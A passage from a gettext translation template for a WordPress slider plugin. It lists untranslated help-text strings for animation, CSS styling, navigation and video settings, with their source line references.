#: admin/includes/help.class.php:7613 msgid "Start/In Animation: To" msgstr "" #: admin/includes/help.class.php:2747 msgid "Static/Global Layers" msgstr "" #: admin/includes/help.class.php:2760 msgid "Static/Global Parallax Layers" msgstr "" #: admin/includes/help.class.php:1890 msgid "Stop After Loops" msgstr "" #: admin/includes/help.class.php:1903 msgid "Stop at Slide" msgstr "" #: admin/includes/help.class.php:1850 msgid "Stop on Hover" msgstr "" #: admin/includes/help.class.php:6259 msgid "Stop Other Media" msgstr "" #: admin/includes/help.class.php:1877 msgid "Stop Slider Progress" msgstr "" #: admin/includes/help.class.php:1893 msgid "Stop the slider's progress after a set amount of loops" msgstr "" #: admin/includes/help.class.php:1906 msgid "Stop the slider's progress when a certain Slide is viewed" msgstr "" #: admin/includes/help.class.php:6262 msgid "" "Stop/pause other video/audio in the Slide when the currently selected Video " "Layer begins to play" msgstr "" #: admin/includes/help.class.php:2114 msgid "Stretch Slides" msgstr "" #: admin/includes/help.class.php:6724 msgid "Stroke/Border Color" msgstr "" #: admin/includes/help.class.php:6737 msgid "Stroke/Border Width/Size" msgstr "" #: admin/includes/help.class.php:15 msgid "Support Center" msgstr "" #: admin/includes/help.class.php:6711 msgid "SVG Color" msgstr "" #: admin/includes/help.class.php:4718 msgid "Swipe Orientation" msgstr "" #: admin/includes/help.class.php:4692 msgid "Swipe Velocity" msgstr "" #: admin/includes/help.class.php:10867 msgid "Tab Index" msgstr "" #: admin/includes/help.class.php:520 admin/includes/help.class.php:546 msgid "Tablet Height" msgstr "" #: admin/includes/help.class.php:504 msgid "Tablet Viewport" msgstr "" #: admin/includes/help.class.php:512 admin/includes/help.class.php:538 msgid "Tablet Width" msgstr "" #: admin/includes/help.class.php:3974 msgid "Tabs Animation" msgstr "" #: admin/includes/help.class.php:3990 msgid "Tabs Animation Speed" msgstr "" #: admin/includes/help.class.php:4006 msgid "Tabs Show Delay" msgstr "" #: admin/includes/help.class.php:3711 msgid "Tabs Type/Style" msgstr "" #: admin/includes/help.class.php:10618 msgid "Take the Slider fullscreen or exit fullscreen on user-interaction" msgstr "" #: admin/includes/help.class.php:10491 msgid "Target Layer" msgstr "" #: admin/includes/help.class.php:6644 msgid "Text Color" msgstr "" #: admin/includes/help.class.php:8120 msgid "Text Color Value" msgstr "" #: admin/includes/help.class.php:6670 msgid "Text Decoration" msgstr "" #: admin/includes/help.class.php:6683 msgid "Text Transform" msgstr "" #: admin/includes/help.class.php:1178 msgid "Text Tweets" msgstr "" #: admin/includes/help.class.php:8934 msgid "" "The 'x' (left) position to apply at the start of the loop animation. " "Accepts positive and negative numbers." msgstr "" #: admin/includes/help.class.php:7738 admin/includes/help.class.php:8256 msgid "" "The 'x' (left) position to apply to the currently selected animation frame. " "Accepts positive and negative numbers." msgstr "" #: admin/includes/help.class.php:8432 msgid "" "The 'x' axis for the char/word/line transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:8867 msgid "" "The 'x' axis for the Layer's transform-origin" " applied to the loop animation." msgstr "" #: admin/includes/help.class.php:7885 msgid "" "The 'x' axis for the Layer's transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:9882 msgid "" "The 'x' axis for the Layer's transform-origin" " on mouse hover." msgstr "" #: admin/includes/help.class.php:8968 msgid "" "The 'y' (top) position to apply at the start of the loop animation. Accepts " "positive and negative numbers." msgstr "" #: admin/includes/help.class.php:7751 admin/includes/help.class.php:8273 msgid "" "The 'y' (top) position to apply to the currently selected animation frame. " "Accepts positive and negative numbers." msgstr "" #: admin/includes/help.class.php:8449 msgid "" "The 'y' axis for the char/word/line transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:8883 msgid "" "The 'y' axis for the Layer's transform-origin" " applied to the loop animation." msgstr "" #: admin/includes/help.class.php:7898 msgid "" "The 'y' axis for the Layer's transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:9895 msgid "" "The 'y' axis for the Layer's transform-origin" " on mouse hover." msgstr "" #: admin/includes/help.class.php:8466 msgid "" "The 'z' axis for the char/word/line transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:8899 msgid "" "The 'z' axis for the Layer's transform-origin" " applied to the loop animation." msgstr "" #: admin/includes/help.class.php:7911 msgid "" "The 'z' axis for the Layer's transform-origin" " applied to the selected animation frame." msgstr "" #: admin/includes/help.class.php:9908 msgid "" "The 'z' axis for the Layer's transform-origin" " on mouse hover." msgstr "" #: admin/includes/help.class.php:2563 msgid "The 3D depth level for the Slide's main background" msgstr "" #: admin/includes/help.class.php:5902 msgid "" "The parallax level to apply to the Slide's " "main background" msgstr "" #: admin/includes/help.class.php:6544 msgid "" "The CSS clear property for the Layer as it fits inside the " "Column" msgstr "" #: admin/includes/help.class.php:9683 msgid "" "The CSS cursor property for the Layer. Choose 'pointer' for " "a traditional hand cursor when hovering the Layer" msgstr "" #: admin/includes/help.class.php:6530 msgid "" "The CSS display property for the Layer as it fits inside the " "Column" msgstr "" #: admin/includes/help.class.php:8503 msgid "" "The blur filter value for the Chars animation" msgstr "" #: admin/includes/help.class.php:10073 msgid "" "The blur filter value for the Layer on mouse " "hover" msgstr "" #: admin/includes/help.class.php:8651 msgid "" "The blur filter value for the lines animation" msgstr "" #: admin/includes/help.class.php:8056 msgid "" "The blur filter value for the selected " "Animation frame" msgstr "" #: admin/includes/help.class.php:8577 msgid "" "The blur filter value for the words animation" msgstr "" #: admin/includes/help.class.php:8539 msgid "" "The brightness filter value for the " "Chars animation" msgstr "" #: admin/includes/help.class.php:10086 msgid "" "The brightness filter value for the " "Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:8687 msgid "" "The brightness filter value for the " "lines animation" msgstr "" #: admin/includes/help.class.php:8090 msgid "" "The brightness filter value for the " "selected Animation frame" msgstr "" #: admin/includes/help.class.php:8613 msgid "" "The brightness filter value for the " "words animation" msgstr "" #: admin/includes/help.class.php:8521 msgid "" "The grayscale filter value for the Chars " "animation" msgstr "" #: admin/includes/help.class.php:10099 msgid "" "The grayscale filter value for the Layer " "on mouse hover" msgstr "" #: admin/includes/help.class.php:8669 msgid "" "The grayscale filter value for the lines " "animation" msgstr "" #: admin/includes/help.class.php:8073 msgid "" "The grayscale filter value for the " "selected Animation frame" msgstr "" #: admin/includes/help.class.php:8595 msgid "" "The grayscale filter value for the words " "animation" msgstr "" #: admin/includes/help.class.php:6537 msgid "" "The CSS float property for the Layer as it fits inside the " "Column" msgstr "" #: admin/includes/help.class.php:9921 msgid "" "The CSS perspective for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:7777 msgid "" "The CSS perspective to apply to the selected animation frame" msgstr "" #: admin/includes/help.class.php:9002 msgid "" "The CSS translateZ at the start of the " "loop animation. This adds/removes 3D depth to the Layer" msgstr "" #: admin/includes/help.class.php:7764 admin/includes/help.class.php:8290 msgid "" "The CSS translateZ to apply to the " "selected animation frame. This adds/removes 3D depth to the Layer" msgstr "" #: admin/includes/help.class.php:6753 msgid "" "The dash-array " "for the currently selected SVG. Displays the SVG stroke/border as dashes." msgstr "" #: admin/includes/help.class.php:6766 msgid "" "The stroke-dash-" "offset for the currently selected SVG" msgstr "" #: admin/includes/help.class.php:5013 msgid "" "The Vimeo Video ID for the background video" msgstr "" #: admin/includes/help.class.php:6064 msgid "" "The YouTube ID or Vimeo ID for the " "video's source" msgstr "" #: admin/includes/help.class.php:5000 msgid "" "The YouTube Video ID for the background video" msgstr "" #: admin/includes/help.class.php:4856 msgid "" "The CSS background-size for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:4882 admin/includes/help.class.php:5598 msgid "" "The CSS background-position for the Slide's main background " "image" msgstr "" #: admin/includes/help.class.php:4869 msgid "" "The CSS background-fit for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:9950 msgid "" "The CSS border-style for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6969 msgid "" "The CSS border-style to use for the Layer's border" msgstr "" #: admin/includes/help.class.php:5536 msgid "" "The target attribute for the Slide link" msgstr "" #: admin/includes/help.class.php:4695 msgid "" "The amount of pixels that need to be swiped before a Slide change occurs" msgstr "" #: admin/includes/help.class.php:2043 msgid "" "The amount of slots to be used for the alternate first Slide transition. " "Applicable to slot-based transitions." msgstr "" #: admin/includes/help.class.php:3246 msgid "" "The amount of the time before the Arrows are hidden on Desktop computers (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:3263 msgid "" "The amount of the time before the Arrows are hidden on mobile devices (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:3561 msgid "" "The amount of the time before the Bullets are hidden on Desktop computers " "(in milliseconds)" msgstr "" #: admin/includes/help.class.php:3578 msgid "" "The amount of the time before the Bullets are hidden on mobile devices (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:4042 msgid "" "The amount of the time before the Tabs are hidden on Desktop computers (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:4059 msgid "" "The amount of the time before the Tabs are hidden on mobile devices (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:4523 msgid "" "The amount of the time before the Thumbnails are hidden on Desktop computers " "(in milliseconds)" msgstr "" #: admin/includes/help.class.php:4540 msgid "" "The amount of the time before the Thumbnails are hidden on mobile devices " "(in milliseconds)" msgstr "" #: admin/includes/help.class.php:8834 msgid "" "The amount of time each loop animation should occur before it begins again" msgstr "" #: admin/includes/help.class.php:3197 msgid "The animation speed for when the Arrows animate into and out of view" msgstr "" #: admin/includes/help.class.php:3512 msgid "The animation speed for when the Bullets animate into and out of view" msgstr "" #: admin/includes/help.class.php:3993 msgid "The animation speed for when the Tabs animate into and out of view" msgstr "" #: admin/includes/help.class.php:4474 msgid "The animation speed for when the Thumbs animate into and out of view" msgstr "" #: admin/includes/help.class.php:3115 msgid "" "The Arrow's alignment position in the Slider before any offset(s) are applied" msgstr "" #: admin/includes/help.class.php:6154 msgid "The autoplay behavior for the currently selected Video Layer" msgstr "" #: admin/includes/help.class.php:3911 msgid "The background color for the tabs main wrapper" msgstr "" #: admin/includes/help.class.php:4392 msgid "The background color for the thumbs main wrapper" msgstr "" #: admin/includes/help.class.php:2971 msgid "The background color to be applied when the Module loads as a Modal" msgstr "" #: admin/includes/help.class.php:2694 msgid "The blur filter strength for the Blur scroll effect (px)" msgstr "" #: admin/includes/help.class.php:7358 msgid "" "The blur-radius value for the Layer's box-shadow" msgstr "" #: admin/includes/help.class.php:7438 msgid "" "The blur-radius value for the Layer's text-shadow" msgstr "" #: admin/includes/help.class.php:9937 msgid "The border color for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:7008 msgid "The border's bottom size (border-bottom-width)" msgstr "" #: admin/includes/help.class.php:9990 msgid "" "The border's bottom size (border-bottom-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:7021 msgid "The border's left size (border-left-width)" msgstr "" #: admin/includes/help.class.php:10003 msgid "The border's left size (border-left-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6995 msgid "The border's right size (border-right-width)" msgstr "" #: admin/includes/help.class.php:9977 msgid "" "The border's right size (border-right-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6982 msgid "The border's top size (border-top-width)" msgstr "" #: admin/includes/help.class.php:9964 msgid "The border's top size (border-top-width) for the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:6727 msgid "The border/stroke color of the currently selected SVG Layer" msgstr "" #: admin/includes/help.class.php:6740 msgid "The border/stroke width/size of the currently selected SVG Layer" msgstr "" #: admin/includes/help.class.php:6874 msgid "" "The bottom margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6928 msgid "The bottom padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:7062 msgid "The bottom-left corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10044 msgid "" "The bottom-left corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:7075 msgid "The bottom-right corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10057 msgid "" "The bottom-right corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:3430 msgid "" "The Bullet's alignment position in the Slider before any offset(s) are " "applied" msgstr "" #: admin/includes/help.class.php:8413 msgid "" "The char/word/line 2D Rotation " "for the selected animation frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:8238 msgid "" "The char/word/line opacity to apply to the currently selected animation frame" msgstr "" #: admin/includes/help.class.php:6714 msgid "The color of the currently selected SVG Layer" msgstr "" #: admin/includes/help.class.php:2372 msgid "" "The color of the spinner/preloader that shows before the Module first loads" msgstr "" #: admin/includes/help.class.php:6699 msgid "" "The CSS user-select value for the text" msgstr "" #: admin/includes/help.class.php:7466 msgid "" "The CSS background-blend-mode filter for the currently " "selected Layer" msgstr "" #: admin/includes/help.class.php:6686 msgid "" "The CSS text-transform value for the text" msgstr "" #: admin/includes/help.class.php:6807 msgid "The CSS background-position for the Layer's background image" msgstr "" #: admin/includes/help.class.php:583 msgid "The CSS background-position for the Slider's global background image" msgstr "" #: admin/includes/help.class.php:6833 msgid "The css background-repeat value for the Layer's background image" msgstr "" #: admin/includes/help.class.php:609 msgid "" "The css background-repeat value for the Slider's global background image" msgstr "" #: admin/includes/help.class.php:6820 msgid "The css background-size value for the Layer's background image" msgstr "" #: admin/includes/help.class.php:596 msgid "The css background-size value for the Slider's global background image" msgstr "" #: admin/includes/help.class.php:3927 msgid "The CSS padding that will be applied to the tabs outer wrapper div" msgstr "" #: admin/includes/help.class.php:4408 msgid "The CSS padding that will be applied to the thumbs outer wrapper div" msgstr "" #: admin/includes/help.class.php:6502 msgid "" "The CSS text-align for the Layer's text. Also useful for aligning content " "inside rows/colums" msgstr "" #: admin/includes/help.class.php:9762 msgid "The CSS z-index to apply to the Layer on mouse hover" msgstr "" #: admin/includes/help.class.php:360 msgid "" "The default align behavior for Layers. If enabled, Layers will be aligned " "to the entire Module and if disabled Layers will align to the device " "breakpoint grid area." msgstr "" #: admin/includes/help.class.php:1583 msgid "" "The default CSS background-position for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:1599 msgid "" "The default css background-repeat value for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:1591 msgid "" "The default css background-size value for the Slide's main background image" msgstr "" #: admin/includes/help.class.php:1534 msgid "The default duration to apply for each Slide before they change" msgstr "" #: admin/includes/help.class.php:1663 msgid "The default easing duration in milliseconds" msgstr "" #: admin/includes/help.class.php:1652 msgid "" "The default easing equation. View visualization" msgstr "" #: admin/includes/help.class.php:1710 msgid "The default end x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1778 msgid "The default ending image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:1756 msgid "The default ending rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:1732 msgid "The default ending y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1686 msgid "The default ending zoom percentage" msgstr "" #: admin/includes/help.class.php:3893 msgid "The default height for each individual tab" msgstr "" #: admin/includes/help.class.php:4374 msgid "The default height for each individual thumb" msgstr "" #: admin/includes/help.class.php:1767 msgid "The default starting image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:1745 msgid "The default starting rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:1699 msgid "The default starting x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1721 msgid "The default starting y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:1675 msgid "The default starting zoom percentage" msgstr "" #: admin/includes/help.class.php:1566 msgid "The default transition duration to be applied to newly created Slides" msgstr "" #: admin/includes/help.class.php:1558 msgid "The default transition to be applied to newly created Slides" msgstr "" #: admin/includes/help.class.php:455 msgid "The default viewport. This option will always be enabled" msgstr "" #: admin/includes/help.class.php:3861 msgid "The default width for each individual tab" msgstr "" #: admin/includes/help.class.php:4342 msgid "The default width for each individual thumb" msgstr "" #: admin/includes/help.class.php:1575 msgid "" "The default WordPress Image size to be used for the Slide's main background " "images" msgstr "" #: admin/includes/help.class.php:6020 msgid "The default WordPress Image size to be used when the image is loaded" msgstr "" #: admin/includes/help.class.php:2282 msgid "The degree value for the 3D rotation applied to the non-active items" msgstr "" #: admin/includes/help.class.php:8204 msgid "" "The delay time between each animation for the individual " "characters/words/lines" msgstr "" #: admin/includes/help.class.php:2030 msgid "The duration to be used for the alternate first Slide transition" msgstr "" #: admin/includes/help.class.php:10335 msgid "The easing duration for the Scroll Action in milliseconds" msgstr "" #: admin/includes/help.class.php:5796 msgid "The easing duration in milliseconds" msgstr "" #: admin/includes/help.class.php:5288 msgid "The easing equation for the 'IN' animation" msgstr "" #: admin/includes/help.class.php:5300 msgid "The easing equation for the 'OUT' animation" msgstr "" #: admin/includes/help.class.php:10318 msgid "" "The easing equation for the Scroll Action. View visualization" msgstr "" #: admin/includes/help.class.php:2210 msgid "" "The easing equation for when the carousel changes from one Slide to the next" msgstr "" #: admin/includes/help.class.php:8221 msgid "The easing equation to be applied for each animation" msgstr "" #: admin/includes/help.class.php:2604 msgid "" "The easing equation to be applied to the animated content as the page scrolls" msgstr "" #: admin/includes/help.class.php:8850 msgid "The easing equation to be used for the loop animation" msgstr "" #: admin/includes/help.class.php:9749 msgid "The easing equation to use for the hover transition" msgstr "" #: admin/includes/help.class.php:7695 msgid "The easing equation to use for the selected animation" msgstr "" #: admin/includes/help.class.php:5780 msgid "" "The easing equation. View visualization" msgstr "" #: admin/includes/help.class.php:5665 msgid "The end x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:9564 msgid "" "The ending blur filter value for the loop animation" msgstr "" #: admin/includes/help.class.php:9632 msgid "" "The ending brightness filter value for the loop " "animation" msgstr "" #: admin/includes/help.class.php:9598 msgid "" "The ending grayscale filter value for the loop " "animation" msgstr "" #: admin/includes/help.class.php:5763 msgid "The ending image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:9409 msgid "" "The ending rotateX value (horizontal plane) for the loop animation. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:9443 msgid "" "The ending rotateY value (horizontal plane) for the loop animation. Accepts " "positive and negative values." msgstr "" #: admin/includes/help.class.php:5731 msgid "The ending rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:9477 msgid "" "The ending rotation value (2D) for the loop animation. Accepts positive and " "negative values." msgstr "" #: admin/includes/help.class.php:9254 msgid "The ending scaleX value (width) for the loop animation" msgstr "" #: admin/includes/help.class.php:9288 msgid "The ending scaleY value (height) for the loop animation" msgstr "" #: admin/includes/help.class.php:9322 msgid "The ending skewX value (horizontal plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9356 msgid "The ending skewY value (vertical plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9530 msgid "The ending transparency for the loop animation" msgstr "" #: admin/includes/help.class.php:7616 msgid "The ending values for the Layer's very first animation" msgstr "" #: admin/includes/help.class.php:5697 msgid "The ending y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:5631 msgid "The ending zoom percentage" msgstr "" #: admin/includes/help.class.php:6634 msgid "The Google Font for the currently selected Layer's text" msgstr "" #: admin/includes/help.class.php:4641 msgid "The height of the navigation preview image" msgstr "" #: admin/includes/help.class.php:3050 msgid "The height of the progress bar in pixels" msgstr "" #: admin/includes/help.class.php:7332 msgid "" "The horizontal offset for the box-shadow" msgstr "" #: admin/includes/help.class.php:7412 msgid "" "The horizontal offset for the text-shadow" msgstr "" #: admin/includes/help.class.php:5940 msgid "" "The html/text for the selected Layer's content. 'Idle' is the default text. " " And 'Toggle' is alternative text to show when the Layer is clicked." msgstr "" #: admin/includes/help.class.php:6111 msgid "" "The HTML5 Video/Audio preload behavior for the " "currently selected Video Layer" msgstr "" #: admin/includes/help.class.php:6387 msgid "The initial volume for the video/audio. Choose a number between 0-100" msgstr "" #: admin/includes/help.class.php:7603 msgid "" "The Layer animation's starting point values before it first animates into " "view" msgstr "" #: admin/includes/help.class.php:7870 msgid "" "The Layer's 2D Rotation " "for the selected animation frame. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9867 msgid "" "The Layer's 2D Rotation " "on mouse hover. Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:6595 msgid "" "The Layer's CSS line-height value for the currently selected " "viewport" msgstr "" #: admin/includes/help.class.php:7235 msgid "" "The Layer's CSS max-height for the current device viewport" msgstr "" #: admin/includes/help.class.php:7209 msgid "" "The Layer's CSS max-width for the current device viewport" msgstr "" #: admin/includes/help.class.php:7222 msgid "" "The Layer's CSS min-height for the current device viewport" msgstr "" #: admin/includes/help.class.php:7196 msgid "" "The Layer's CSS min-width for the current device viewport" msgstr "" #: admin/includes/help.class.php:6608 msgid "" "The Layer's CSS font-weight value for the currently selected viewport" msgstr "" #: admin/includes/help.class.php:6621 msgid "" "The Layer's CSS letter-spacing value for the currently selected " "viewport" msgstr "" #: admin/includes/help.class.php:8154 msgid "The Layer's background color for the selected Animation frame" msgstr "" #: admin/includes/help.class.php:7642 msgid "" "The Layer's final animation when it's meant to be hidden or when the Slide " "changes" msgstr "" #: admin/includes/help.class.php:6582 msgid "The Layer's font-size for the currently selected viewport" msgstr "" #: admin/includes/help.class.php:7156 msgid "The Layer's height for the current device viewport" msgstr "" #: admin/includes/help.class.php:6036 msgid "" "The Layer's image will be populated automatically from the Slider's Video-" "Stream source" msgstr "" #: admin/includes/help.class.php:7724 msgid "The Layer's opacity to apply to the currently selected animation frame" msgstr "" #: admin/includes/help.class.php:8123 msgid "The Layer's text color for the selected Animation frame" msgstr "" #: admin/includes/help.class.php:7143 msgid "The Layer's width for the current device viewport" msgstr "" #: admin/includes/help.class.php:6887 msgid "" "The left margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6941 msgid "The left padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:5826 msgid "The maximum characters/letters to display for the paramater" msgstr "" #: admin/includes/help.class.php:2104 msgid "" "The maximum number of Slides that will be visible at any given time. View " "the documentation below to learn how to set a minimum." msgstr "" #: admin/includes/help.class.php:3827 msgid "" "The maximum number of tabs that should be visible regardless of the screen " "size" msgstr "" #: admin/includes/help.class.php:4308 msgid "" "The maximum number of thumbs that should be visible regardless of the screen " "size" msgstr "" #: admin/includes/help.class.php:3877 msgid "The minimum width for each individual tab" msgstr "" #: admin/includes/help.class.php:4358 msgid "The minimum width for each individual thumb" msgstr "" #: admin/includes/help.class.php:376 msgid "" "The module will be positioned at the top of the screen at all times. Useful " "for creating sticky menus." msgstr "" #: admin/includes/help.class.php:2468 msgid "The movement speed for the Slide's Layers when the effect(s) occur" msgstr "" #: admin/includes/help.class.php:2455 msgid "" "The movement speed for the Slide's main background when the effect(s) occur" msgstr "" #: admin/includes/help.class.php:4895 msgid "" "The movement strength that will be applied to the Slide's main background " "image" msgstr "" #: admin/includes/help.class.php:4708 msgid "" "The number of fingers needed in the swipe action for a Slide change to occur" msgstr "" #: admin/includes/help.class.php:5312 msgid "The number of slots/boxes to use for slot-based transitions" msgstr "" #: admin/includes/help.class.php:8770 msgid "" "The number of times the Layer's selected timeline should loop. Enter '-1' " "to loop continously throughout the life-cycle of the current Slide" msgstr "" #: admin/includes/help.class.php:10301 msgid "" "The page will scroll to content below the Slider, and this offset will add " "or subtract pixels to the total amount scrolled." msgstr "" #: admin/includes/help.class.php:10115 msgid "" "The parallax depth level to use for the Layer. Level values are defined in " "the Slider Settings." msgstr "" #: admin/includes/help.class.php:8023 msgid "" "The percentage of the Layer to apply the clip-path mask to. The number '0' " "would represent completely hidden and '100' represent completely visible." msgstr "" #: admin/includes/help.class.php:7524 msgid "" "The percentage of your content's width to use when the spike(s) are drawn on " "the left side" msgstr "" #: admin/includes/help.class.php:7556 msgid "" "The percentage of your content's width to use when the spike(s) are drawn on " "the right side" msgstr "" #: admin/includes/help.class.php:2804 msgid "" "The percentage the Slider is in the page's viewport before the effect(s) are " "applied" msgstr "" #: admin/includes/help.class.php:5874 admin/includes/help.class.php:5887 msgid "The point in the timeline where the looping should begin" msgstr "" #: admin/includes/help.class.php:471 msgid "The responsive grid height (in pixels) for the Desktop viewport" msgstr "" #: admin/includes/help.class.php:497 msgid "The responsive grid height (in pixels) for the Laptop viewport" msgstr "" #: admin/includes/help.class.php:523 admin/includes/help.class.php:549 msgid "The responsive grid height (in pixels) for the Tablet viewport" msgstr "" #: admin/includes/help.class.php:463 msgid "The responsive grid width (in pixels) for the Desktop viewport" msgstr "" #: admin/includes/help.class.php:489 msgid "The responsive grid width (in pixels) for the Laptop viewport" msgstr "" #: admin/includes/help.class.php:515 admin/includes/help.class.php:541 msgid "The responsive grid width (in pixels) for the Tablet viewport" msgstr "" #: admin/includes/help.class.php:7384 msgid "" "The rgba color for the Layer's box-shadow" msgstr "" #: admin/includes/help.class.php:7451 msgid "" "The rgba color for the Layer's text-shadow" msgstr "" #: admin/includes/help.class.php:6861 msgid "" "The right margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6915 msgid "The right padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:7708 msgid "" "The selected animation will only start when it's called from a " "Layer Action" msgstr "" #: admin/includes/help.class.php:2442 msgid "The sensitivity speed for the Parallax effect(s) on mouse-move" msgstr "" #: admin/includes/help.class.php:4843 msgid "" "The size of the image that will be loaded, defined by WP Main Menu -> " "Settings -> Media -> Image Sizes" msgstr "" #: admin/includes/help.class.php:5276 msgid "The Slide animation's total time for the selected transition" msgstr "" #: admin/includes/help.class.php:2596 msgid "" "The Slide's content will animate into and out of view as the user scrolls " "the page." msgstr "" #: admin/includes/help.class.php:5052 msgid "" "The Slide's main background will be populated automatically for Video-Stream " "Sliders" msgstr "" #: admin/includes/help.class.php:4830 admin/includes/help.class.php:5039 msgid "" "The Slide's main background will be populated automatically for Video/Social-" "Stream Sliders" msgstr "" #: admin/includes/help.class.php:5352 msgid "The Slide's total duration before the next Slide is shown" msgstr "" #: admin/includes/help.class.php:247 msgid "The slider's alias is used to define a unique shortcode" msgstr "" #: admin/includes/help.class.php:3845 msgid "The space between each individual tab (in pixels)" msgstr "" #: admin/includes/help.class.php:4326 msgid "The space between each individual thumb (in pixels)" msgstr "" #: admin/includes/help.class.php:3382 msgid "The spacing between the bullets (in pixels)" msgstr "" #: admin/includes/help.class.php:2617 msgid "" "The speed at which the content will animate as the page scrolls (in " "milliseconds)" msgstr "" #: admin/includes/help.class.php:2223 msgid "" "The speed the items will change form one Slide to the next (in milliseconds)" msgstr "" #: admin/includes/help.class.php:7371 msgid "" "The spread value for the Layer's box-shadow" msgstr "" #: admin/includes/help.class.php:9547 msgid "" "The starting blur filter value " "for the loop animation" msgstr "" #: admin/includes/help.class.php:9615 msgid "" "The starting brightness " "filter value for the loop animation" msgstr "" #: admin/includes/help.class.php:9581 msgid "" "The starting grayscale " "filter value for the loop animation" msgstr "" #: admin/includes/help.class.php:5747 msgid "The starting image blur for the PanZoom effect (px)" msgstr "" #: admin/includes/help.class.php:9392 msgid "" "The starting rotateX value (horizontal plane) for the loop animation. " "Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:9426 msgid "" "The starting rotateY value (horizontal plane) for the loop animation. " "Accepts positive and negative values." msgstr "" #: admin/includes/help.class.php:5715 msgid "The starting rotation for the PanZoom effect (deg)" msgstr "" #: admin/includes/help.class.php:9460 msgid "" "The starting rotation value (2D) for the loop animation. Accepts positive " "and negative values." msgstr "" #: admin/includes/help.class.php:9237 msgid "The starting scaleX value (width) for the loop animation" msgstr "" #: admin/includes/help.class.php:9271 msgid "The starting scaleY value (height) for the loop animation" msgstr "" #: admin/includes/help.class.php:9305 msgid "The starting skewX value (horizontal plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9339 msgid "The starting skewY value (vertical plane) for the loop animation" msgstr "" #: admin/includes/help.class.php:9513 msgid "The starting transparency for the loop animation" msgstr "" #: admin/includes/help.class.php:5649 msgid "The starting x position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:5681 msgid "The starting y position for the PanZoom movement" msgstr "" #: admin/includes/help.class.php:5615 msgid "The starting zoom percentage" msgstr "" #: admin/includes/help.class.php:2830 msgid "" "The strength of the opacity, blur or grayscale filter for the effect(s) for " "the Slide's Layers" msgstr "" #: admin/includes/help.class.php:2817 msgid "" "The strength of the opacity, blur or grayscale filter for the effect(s) for " "the Slide's main background" msgstr "" #: admin/includes/help.class.php:4721 msgid "The swipe direction that will trigger a Slide change" msgstr "" #: admin/includes/help.class.php:3779 msgid "" "The Tab's alignment position in the Slider before any offset(s) are applied" msgstr "" #: admin/includes/help.class.php:6647 msgid "The text color for the currently selected Layer" msgstr "" #: admin/includes/help.class.php:4260 msgid "" "The Thumb's alignment position in the Slider before any offset(s) are applied" msgstr "" #: admin/includes/help.class.php:5238 msgid "" "The thumbnail image that will be used for the Slider's thumbnail navigation" msgstr "" #: admin/includes/help.class.php:6848 msgid "" "The top margin for the currently Selected Layer. Useful for rows/columns." msgstr "" #: admin/includes/help.class.php:6902 msgid "The top padding for the currently Selected Layer" msgstr "" #: admin/includes/help.class.php:7036 msgid "The top-left corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10018 msgid "" "The top-left corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:7049 msgid "The top-right corner border-radius (px or %)" msgstr "" #: admin/includes/help.class.php:10031 msgid "" "The top-right corner border-radius for the Layer on mouse hover (px or %)" msgstr "" #: admin/includes/help.class.php:7682 msgid "The total duration for the selected animation" msgstr "" #: admin/includes/help.class.php:9736 msgid "" "The transition duration for the currently selected Layer (in milliseconds)" msgstr "" #: 